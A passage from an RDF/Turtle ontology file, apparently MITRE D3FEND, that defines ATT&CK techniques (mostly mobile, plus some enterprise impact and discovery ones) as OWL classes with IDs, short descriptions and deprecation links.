    rdfs:subClassOf d3f:ATTACKMobileDiscoveryTechnique ;
    skos:prefLabel "Process Discovery" .

d3f:T1426 a owl:Class ;
    rdfs:label "System Information Discovery - ATTACK Mobile" ;
    d3f:attack-id "T1426" ;
    d3f:definition "Adversaries may attempt to get detailed information about a device’s operating system and hardware, including versions, patches, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1426) during automated discovery to shape follow-on behaviors, including whether or not to fully infects the target and/or attempts specific actions." ;
    rdfs:subClassOf d3f:ATTACKMobileDiscoveryTechnique ;
    skos:prefLabel "System Information Discovery" .

d3f:T1427 a owl:Class ;
    rdfs:label "Attack PC via USB Connection - ATTACK Mobile" ;
    d3f:attack-id "T1427" ;
    d3f:definition "With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC(Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKMobileLateralMovementTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Attack PC via USB Connection" .

d3f:T1428 a owl:Class ;
    rdfs:label "Exploitation of Remote Services - ATTACK Mobile" ;
    d3f:attack-id "T1428" ;
    d3f:definition "Adversaries may exploit remote services of enterprise servers, workstations, or other resources to gain unauthorized access to internal systems once inside of a network. Adversaries may exploit remote services by taking advantage of a mobile device’s access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system." ;
    rdfs:subClassOf d3f:ATTACKMobileLateralMovementTechnique ;
    skos:prefLabel "Exploitation of Remote Services" .

d3f:T1429 a owl:Class ;
    rdfs:label "Audio Capture - ATTACK Mobile" ;
    d3f:attack-id "T1429" ;
    d3f:definition "Adversaries may capture audio to collect information by leveraging standard operating system APIs of a mobile device. Examples of audio information adversaries may target include user conversations, surroundings, phone calls, or other sensitive information." ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    skos:prefLabel "Audio Capture" .

d3f:T1430.001 a owl:Class ;
    rdfs:label "Remote Device Management Services - ATTACK Mobile" ;
    d3f:attack-id "T1430.001" ;
    d3f:definition "An adversary may use access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM)/mobile device management (MDM) server console to track the location of mobile devices managed by the service.(Citation: Krebs-Location)" ;
    rdfs:subClassOf d3f:T1430 ;
    skos:prefLabel "Remote Device Management Services" .

d3f:T1430.002 a owl:Class ;
    rdfs:label "Impersonate SS7 Nodes - ATTACK Mobile" ;
    d3f:attack-id "T1430.002" ;
    d3f:definition "Adversaries may exploit the lack of authentication in signaling system network nodes to track the location of mobile devices by impersonating a node.(Citation: Engel-SS7)(Citation: Engel-SS7-2008)(Citation: 3GPP-Security)(Citation: Positive-SS7)(Citation: CSRIC5-WG10-FinalReport)" ;
    rdfs:subClassOf d3f:T1430 ;
    skos:prefLabel "Impersonate SS7 Nodes" .

d3f:T1432 a owl:Class ;
    rdfs:label "Access Contact List - ATTACK Mobile" ;
    d3f:attack-id "T1432" ;
    d3f:definition "An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data." ;
    rdfs:comment "This technique has been revoked by T1636.003" ;
    rdfs:seeAlso d3f:T1636.003 ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Access Contact List" .

d3f:T1433 a owl:Class ;
    rdfs:label "Access Call Log - ATTACK Mobile" ;
    d3f:attack-id "T1433" ;
    d3f:definition "On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data." ;
    rdfs:comment "This technique has been revoked by T1636.002" ;
    rdfs:seeAlso d3f:T1636.002 ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Access Call Log" .

d3f:T1435 a owl:Class ;
    rdfs:label "Access Calendar Entries - ATTACK Mobile" ;
    d3f:attack-id "T1435" ;
    d3f:definition "An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data." ;
    rdfs:comment "This technique has been revoked by T1636.001" ;
    rdfs:seeAlso d3f:T1636.001 ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Access Calendar Entries" .

d3f:T1436 a owl:Class ;
    rdfs:label "Commonly Used Port - ATTACK Mobile" ;
    d3f:attack-id "T1436" ;
    d3f:definition "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKMobileCommandAndControlTechnique,
        d3f:ATTACKMobileExfiltrationTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Commonly Used Port" .

d3f:T1437.001 a owl:Class ;
    rdfs:label "Web Protocols - ATTACK Mobile" ;
    d3f:attack-id "T1437.001" ;
    d3f:definition "Adversaries may communicate using application layer protocols associated with web protocols traffic to avoid detection/network filtering by blending in with existing traffic. Commands to remote mobile devices, and often the results of those commands, will be embedded within the protocol traffic between the mobile client and server." ;
    rdfs:subClassOf d3f:T1437 ;
    skos:prefLabel "Web Protocols" .

d3f:T1438 a owl:Class ;
    rdfs:label "Exfiltration Over Other Network Medium - ATTACK Mobile" ;
    d3f:attack-id "T1438" ;
    d3f:definition "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a standard Internet connection, the exfiltration may occur, for example, via Bluetooth, or another radio frequency (RF) channel." ;
    rdfs:comment "This technique has been revoked by T1644" ;
    rdfs:seeAlso d3f:T1644 ;
    rdfs:subClassOf d3f:ATTACKMobileCommandAndControlTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Exfiltration Over Other Network Medium" .

d3f:T1444 a owl:Class ;
    rdfs:label "Masquerade as Legitimate Application - ATTACK Mobile" ;
    d3f:attack-id "T1444" ;
    d3f:definition "An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobileInitialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Masquerade as Legitimate Application" .

d3f:T1446 a owl:Class ;
    rdfs:label "Device Lockout - ATTACK Mobile" ;
    d3f:attack-id "T1446" ;
    d3f:definition "An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment." ;
    rdfs:comment "This technique has been revoked by T1629.002" ;
    rdfs:seeAlso d3f:T1629.002 ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobileImpactTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Device Lockout" .

d3f:T1447 a owl:Class ;
    rdfs:label "Delete Device Data - ATTACK Mobile" ;
    d3f:attack-id "T1447" ;
    d3f:definition "Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. (Citation: Android DevicePolicyManager 2019)" ;
    rdfs:comment "This technique has been revoked by T1630.002" ;
    rdfs:seeAlso d3f:T1630.002 ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobileImpactTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Delete Device Data" .

d3f:T1448 a owl:Class ;
    rdfs:label "Carrier Billing Fraud - ATTACK Mobile" ;
    d3f:attack-id "T1448" ;
    d3f:definition "A malicious app may trigger fraudulent charges on a victim’s carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases." ;
    rdfs:comment "This technique has been revoked by T1643" ;
    rdfs:seeAlso d3f:T1643 ;
    rdfs:subClassOf d3f:ATTACKMobileImpactTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Carrier Billing Fraud" .

d3f:T1451 a owl:Class ;
    rdfs:label "SIM Card Swap - ATTACK Mobile" ;
    d3f:attack-id "T1451" ;
    d3f:definition "Adversaries may gain access to mobile devices through transfers or swaps from victims’ phone numbers to adversary-controlled SIM cards and mobile devices.(Citation: ATT SIM Swap Scams)(Citation: Verizon SIM Swapping)" ;
    rdfs:subClassOf d3f:ATTACKMobileInitialAccessTechnique ;
    skos:prefLabel "SIM Card Swap" .

d3f:T1452 a owl:Class ;
    rdfs:label "Manipulate App Store Rankings or Ratings - ATTACK Mobile" ;
    d3f:attack-id "T1452" ;
    d3f:definition "An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device)." ;
    rdfs:comment "This technique has been revoked by T1643" ;
    rdfs:seeAlso d3f:T1643 ;
    rdfs:subClassOf d3f:ATTACKMobileImpactTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Manipulate App Store Rankings or Ratings" .

d3f:T1453 a owl:Class ;
    rdfs:label "Abuse Accessibility Features - ATTACK Mobile" ;
    d3f:attack-id "T1453" ;
    d3f:definition "**This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.**" ;
    rdfs:comment "**This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.**" ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique,
        d3f:ATTACKMobileCredentialAccessTechnique,
        d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobileImpactTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Abuse Accessibility Features" .

d3f:T1454 a owl:Class ;
    rdfs:label "Malicious SMS Message - ATTACK Mobile" ;
    d3f:attack-id "T1454" ;
    d3f:definition "Test" ;
    rdfs:comment "This technique has been revoked by" ;
    rdfs:seeAlso d3f: ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Malicious SMS Message" .

d3f:T1456 a owl:Class ;
    rdfs:label "Drive-By Compromise - ATTACK Mobile" ;
    d3f:attack-id "T1456" ;
    d3f:definition "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring an [Application Access Token](https://attack.mitre.org/techniques/T1550/001)." ;
    rdfs:subClassOf d3f:ATTACKMobileInitialAccessTechnique ;
    skos:prefLabel "Drive-By Compromise" .

d3f:T1458 a owl:Class ;
    rdfs:label "Replication Through Removable Media - ATTACK Mobile" ;
    d3f:attack-id "T1458" ;
    d3f:definition "Adversaries may move onto devices by exploiting or copying malware to devices connected via USB. In the case of Lateral Movement, adversaries may utilize the physical connection of a device to a compromised or malicious charging station or PC to bypass application store requirements and install malicious applications directly.(Citation: Lau-Mactans) In the case of Initial Access, adversaries may attempt to exploit the device via the connection to gain access to data stored on the device.(Citation: Krebs-JuiceJacking) Examples of this include:" ;
    rdfs:subClassOf d3f:ATTACKMobileInitialAccessTechnique,
        d3f:ATTACKMobileLateralMovementTechnique ;
    skos:prefLabel "Replication Through Removable Media" .

d3f:T1461 a owl:Class ;
    rdfs:label "Lockscreen Bypass - ATTACK Mobile" ;
    d3f:attack-id "T1461" ;
    d3f:definition "An adversary with physical access to a mobile device may seek to bypass the device’s lockscreen. Several methods exist to accomplish this, including:" ;
    rdfs:subClassOf d3f:ATTACKMobileInitialAccessTechnique ;
    skos:prefLabel "Lockscreen Bypass" .

d3f:T1464 a owl:Class ;
    rdfs:label "Network Denial of Service - ATTACK Mobile" ;
    d3f:attack-id "T1464" ;
    d3f:definition "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth that services rely on, or by jamming the signal going to or coming from devices." ;
    rdfs:subClassOf d3f:ATTACKMobileImpactTechnique ;
    skos:prefLabel "Network Denial of Service" .

d3f:T1471 a owl:Class ;
    rdfs:label "Data Encrypted for Impact - ATTACK Mobile" ;
    d3f:attack-id "T1471" ;
    d3f:definition "An adversary may encrypt files stored on a mobile device to prevent the user from accessing them. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted." ;
    rdfs:subClassOf d3f:ATTACKMobileImpactTechnique ;
    skos:prefLabel "Data Encrypted for Impact" .

d3f:T1472 a owl:Class ;
    rdfs:label "Generate Fraudulent Advertising Revenue - ATTACK Mobile" ;
    d3f:attack-id "T1472" ;
    d3f:definition "An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement." ;
    rdfs:comment "This technique has been revoked by T1643" ;
    rdfs:seeAlso d3f:T1643 ;
    rdfs:subClassOf d3f:ATTACKMobileImpactTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Generate Fraudulent Advertising Revenue" .

d3f:T1474.001 a owl:Class ;
    rdfs:label "Compromise Software Dependencies and Development Tools - ATTACK Mobile" ;
    d3f:attack-id "T1474.001" ;
    d3f:definition "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Grace-Advertisement)" ;
    rdfs:subClassOf d3f:T1474 ;
    skos:prefLabel "Compromise Software Dependencies and Development Tools" .

d3f:T1474.002 a owl:Class ;
    rdfs:label "Compromise Hardware Supply Chain - ATTACK Mobile" ;
    d3f:attack-id "T1474.002" ;
    d3f:definition "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system." ;
    rdfs:subClassOf d3f:T1474 ;
    skos:prefLabel "Compromise Hardware Supply Chain" .

d3f:T1474.003 a owl:Class ;
    rdfs:label "Compromise Software Supply Chain - ATTACK Mobile" ;
    d3f:attack-id "T1474.003" ;
    d3f:definition "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version." ;
    rdfs:subClassOf d3f:T1474 ;
    skos:prefLabel "Compromise Software Supply Chain" .

d3f:T1475 a owl:Class ;
    rdfs:label "Deliver Malicious App via Authorized App Store - ATTACK Mobile" ;
    d3f:attack-id "T1475" ;
    d3f:definition "Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKMobileInitialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Deliver Malicious App via Authorized App Store" .

d3f:T1476 a owl:Class ;
    rdfs:label "Deliver Malicious App via Other Means - ATTACK Mobile" ;
    d3f:attack-id "T1476" ;
    d3f:definition "Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKMobileInitialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Deliver Malicious App via Other Means" .

d3f:T1477 a owl:Class ;
    rdfs:label "Exploit via Radio Interfaces - ATTACK Mobile" ;
    d3f:attack-id "T1477" ;
    d3f:definition "The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKMobileInitialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Exploit via Radio Interfaces" .

d3f:T1478 a owl:Class ;
    rdfs:label "Install Insecure or Malicious Configuration - ATTACK Mobile" ;
    d3f:attack-id "T1478" ;
    d3f:definition "An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile)." ;
    rdfs:comment "This technique has been revoked by T1632.001" ;
    rdfs:seeAlso d3f:T1632.001 ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobileInitialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Install Insecure or Malicious Configuration" .

d3f:T1480.001 a owl:Class ;
    rdfs:label "Environmental Keying" ;
    d3f:attack-id "T1480.001" ;
    d3f:definition "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)" ;
    rdfs:subClassOf d3f:T1480 .

d3f:T1480.002 a owl:Class ;
    rdfs:label "Mutual Exclusion" ;
    d3f:attack-id "T1480.002" ;
    d3f:definition "Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.(Citation: Microsoft Mutexes)" ;
    rdfs:subClassOf d3f:T1480 .

d3f:T1481.001 a owl:Class ;
    rdfs:label "Dead Drop Resolver - ATTACK Mobile" ;
    d3f:attack-id "T1481.001" ;
    d3f:definition "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers." ;
    rdfs:subClassOf d3f:T1481 ;
    skos:prefLabel "Dead Drop Resolver" .

d3f:T1481.002 a owl:Class ;
    rdfs:label "Bidirectional Communication - ATTACK Mobile" ;
    d3f:attack-id "T1481.002" ;
    d3f:definition "Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to and receiving output from a compromised system. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet." ;
    rdfs:subClassOf d3f:T1481 ;
    skos:prefLabel "Bidirectional Communication" .

d3f:T1481.003 a owl:Class ;
    rdfs:label "One-Way Communication - ATTACK Mobile" ;
    d3f:attack-id "T1481.003" ;
    d3f:definition "Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to a compromised system without receiving return output. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response." ;
    rdfs:subClassOf d3f:T1481 ;
    skos:prefLabel "One-Way Communication" .

d3f:T1482 a owl:Class ;
    rdfs:label "Domain Trust Discovery" ;
    d3f:attack-id "T1482" ;
    d3f:definition "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)" ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1483 a owl:Class ;
    rdfs:label "Domain Generation Algorithms" ;
    d3f:attack-id "T1483" ;
    d3f:definition "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)" ;
    rdfs:comment "This technique has been revoked by T1568.002" ;
    rdfs:seeAlso d3f:T1568.002 ;
    rdfs:subClassOf d3f:CommandAndControlTechnique ;
    owl:deprecated true .

d3f:T1484.001 a owl:Class ;
    rdfs:label "Group Policy Modification" ;
    d3f:attack-id "T1484.001" ;
    d3f:definition "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)" ;
    rdfs:subClassOf d3f:T1484 .

d3f:T1484.002 a owl:Class ;
    rdfs:label "Trust Modification" ;
    d3f:attack-id "T1484.002" ;
    d3f:definition "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains." ;
    rdfs:subClassOf d3f:T1484 .

d3f:T1485.001 a owl:Class ;
    rdfs:label "Lifecycle-Triggered Deletion" ;
    d3f:attack-id "T1485.001" ;
    d3f:definition "Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within." ;
    rdfs:subClassOf d3f:T1485 .

d3f:T1486 a owl:Class ;
    rdfs:label "Data Encrypted for Impact" ;
    d3f:attack-id "T1486" ;
    d3f:definition "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)" ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1487 a owl:Class ;
    rdfs:label "Disk Structure Wipe" ;
    d3f:attack-id "T1487" ;
    d3f:definition "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources." ;
    rdfs:comment "This technique has been revoked by T1561.002" ;
    rdfs:seeAlso d3f:T1561.002 ;
    rdfs:subClassOf d3f:ImpactTechnique ;
    owl:deprecated true .

d3f:T1488 a owl:Class ;
    rdfs:label "Disk Content Wipe" ;
    d3f:attack-id "T1488" ;
    d3f:definition "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources." ;
    rdfs:comment "This technique has been revoked by T1561.001" ;
    rdfs:seeAlso d3f:T1561.001 ;
    rdfs:subClassOf d3f:ImpactTechnique ;
    owl:deprecated true .

d3f:T1489 a owl:Class ;
    rdfs:label "Service Stop" ;
    d3f:attack-id "T1489" ;
    d3f:definition "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)" ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1490 a owl:Class ;
    rdfs:label "Inhibit System Recovery" ;
    d3f:attack-id "T1490" ;
    d3f:definition "Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options." ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1491.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Internal Defacement" ;
    d3f:attack-id "T1491.001" ;
    d3f:definition "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)" ;
    d3f:modifies d3f:Resource ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:Resource ],
        d3f:T1491 .

d3f:T1491.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "External Defacement" ;
    d3f:attack-id "T1491.002" ;
    d3f:definition "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)" ;
    d3f:modifies d3f:NetworkResource ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:NetworkResource ],
        d3f:T1491 .

d3f:T1492 a owl:Class ;
    rdfs:label "Stored Data Manipulation" ;
    d3f:attack-id "T1492" ;
    d3f:definition "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making." ;
    rdfs:comment "This technique has been revoked by T1565.001" ;
    rdfs:seeAlso d3f:T1565.001 ;
    rdfs:subClassOf d3f:ImpactTechnique ;
    owl:deprecated true .

d3f:T1493 a owl:Class ;
    rdfs:label "Transmitted Data Manipulation" ;
    d3f:attack-id "T1493" ;
    d3f:definition "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making." ;
    rdfs:comment "This technique has been revoked by T1565.002" ;
    rdfs:seeAlso d3f:T1565.002 ;
    rdfs:subClassOf d3f:ImpactTechnique ;
    owl:deprecated true .

d3f:T1494 a owl:Class ;
    rdfs:label "Runtime Data Manipulation" ;
    d3f:attack-id "T1494" ;
    d3f:definition "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making." ;
    rdfs:comment "This technique has been revoked by T1565.003" ;
    rdfs:seeAlso d3f:T1565.003 ;
    rdfs:subClassOf d3f:ImpactTechnique ;
    owl:deprecated true .

d3f:T1495 a owl:Class ;
    rdfs:label "Firmware Corruption" ;
    d3f:attack-id "T1495" ;
    d3f:definition "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards." ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1496.001 a owl:Class ;
    rdfs:label "Compute Hijacking" ;
    d3f:attack-id "T1496.001" ;
    d3f:definition "Adversaries may leverage the compute resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability." ;
    rdfs:subClassOf d3f:T1496 .

d3f:T1496.002 a owl:Class ;
    rdfs:label "Bandwidth Hijacking" ;
    d3f:attack-id "T1496.002" ;
    d3f:definition "Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability." ;
    rdfs:subClassOf d3f:T1496 .

d3f:T1496.003 a owl:Class ;
